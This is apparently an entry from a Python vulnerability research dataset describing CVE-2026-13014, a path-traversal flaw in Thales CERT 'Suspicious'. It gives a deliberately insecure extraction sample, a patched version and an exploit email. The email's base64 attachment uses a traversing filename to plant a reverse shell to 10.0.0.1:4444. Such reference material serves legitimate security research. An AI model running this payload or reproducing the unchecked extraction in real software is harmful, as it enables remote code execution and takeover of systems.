VAITP Dataset

← Back to the dataset

CVE-2026-13014

Unauthenticated RCE in Thales CERT 'Suspicious' via file overwrite.

  • CVSS 9.2
  • CWE-22
  • Input Validation and Sanitization
  • Remote

A vulnerability in Thales CERT "Suspicious" application =< 1.3.4 allows a remote and unauthenticated attacker to execute arbitrary code and arbitrarily overwrite writable application files—including Python modules, configuration files, cron inputs, and runtime artifacts—leading to a persistent denial of service, the potential compromise of application secrets or integrations, and root-level execution inside the Django application container. This vulnerability has been names "Matryoshka Mail". Thales PSIRT acknowledges and thanks Lucien Doustaly (aka wlayzz) for discovering and reporting this issue.

CVSS base score
9.2
Published
2026-07-13
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Thales CERT

Solution

Upgrade Thales CERT "Suspicious" application to version 1.3.5 or later.

Vulnerable code sample

import zipfile
import os
import io

# Assume this path is writable by the application user
UPLOAD_PATH = "/var/www/suspicious_app/uploads/"

def process_suspicious_attachment(attachment_content):
    """
    Processes a file attachment, expecting it to be a zip archive.
    It extracts the contents into a designated upload directory for analysis.
    
    This function is vulnerable because it does not validate or sanitize
    the file paths of the members within the zip archive.
    """
    
    if not isinstance(attachment_content, bytes):
        return

    try:
        # Create a unique sub-directory for the extraction
        extraction_dir = os.path.join(UPLOAD_PATH, os.urandom(8).hex())
        os.makedirs(extraction_dir, exist_ok=True)

        zip_in_memory = io.BytesIO(attachment_content)
        
        with zipfile.ZipFile(zip_in_memory, 'r') as zip_ref:
            # VULNERABLE ACTION: extractall() is called without checking member paths.
            # An attacker can create a zip file with a member named
            # '../../../home/appuser/.bashrc' or '../app/settings.py'
            # to write files outside of the intended 'extraction_dir'.
            zip_ref.extractall(extraction_dir)

    except (zipfile.BadZipFile, PermissionError):
        # Handle exceptions, e.g., by logging the error
        pass

Patched code sample

import zipfile
import os
import io

def secure_extract_email_attachment(archive_content: bytes, destination_dir: str):
    """
    Safely extracts a ZIP archive, representing a fix for a "Matryoshka Mail"
    style path traversal vulnerability (CVE-2026-13014).

    The vulnerability occurs when an application extracts an archive without
    validating the file paths of its members. An attacker can craft an archive
    with file paths like "../../../app/settings.py" to overwrite critical files.

    The fix is to resolve the real path of each member file before extraction
    and ensure it is strictly within the intended destination directory.
    """
    # Ensure the destination is a real, absolute path for robust comparison.
    real_destination = os.path.realpath(destination_dir)

    with zipfile.ZipFile(io.BytesIO(archive_content)) as zf:
        for member_info in zf.infolist():
            # Prevent extraction of directories, which can be part of the attack.
            if member_info.is_dir():
                continue

            target_path = os.path.join(real_destination, member_info.filename)

            # Resolve the absolute, canonical path of the file to be extracted.
            # This correctly handles ".." path components (e.g., /tmp/../etc/passwd).
            real_target_path = os.path.realpath(target_path)

            # --- THE VULNERABILITY FIX ---
            #
            # The vulnerable code would lack this check, allowing a file to be
            # written outside the `real_destination` directory.
            #
            # This check ensures that the resolved path of the file to be
            # extracted starts with the path of the destination directory.
            if not real_target_path.startswith(real_destination + os.sep):
                # Path traversal attempt detected. Log and reject the file.
                # For this example, we raise an exception to stop processing.
                raise PermissionError(
                    f"Path traversal attempt blocked for malicious file: {member_info.filename}"
                )
            # --- END OF FIX ---

            # If the check passes, the path is safe. Extract the individual file.
            # We extract file-by-file rather than using extractall() to ensure
            # each member path is explicitly validated.
            zf.extract(member_info, path=real_destination)

Payload

MIME-Version: 1.0
Subject: Matryoshka Mail Exploit (CVE-2026-13014)
From: attacker@attacker.com
To: victim@victim.com
Content-Type: multipart/mixed; boundary="boundary-outer"

--boundary-outer
Content-Type: text/plain; charset="us-ascii"

This is a test message.

--boundary-outer
Content-Type: message/rfc822
Content-Disposition: attachment; filename="nested_email.eml"

Content-Type: multipart/mixed; boundary="boundary-inner"

--boundary-inner
Content-Type: text/plain; charset="us-ascii"

Please review the attached artifact.

--boundary-inner
Content-Type: application/x-python
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename*0=..%2f..%2f..%2f..%2f..%2fusr%2fsrc%2fapp%2f
Content-Disposition: attachment; filename*1=management%2fcommands%2fhealth_check.py

aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCgpjbGFzcyBDb21tYW5kKExpc3RJbnRlZ3JhdGlv
bnMpOgogICAgZGVmIGhhbmRsZSgqcGFyYW1zLCAqKm9wdGlvbnMpOgogICAgICAgIHMgPSBzb2Nr
ZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5j
b25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDAp
CiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8o
KSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQo=
--boundary-inner--

--boundary-outer--

Cite this entry

@misc{vaitp:cve202613014,
  title        = {{Unauthenticated RCE in Thales CERT 'Suspicious' via file overwrite.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-13014},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-13014/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::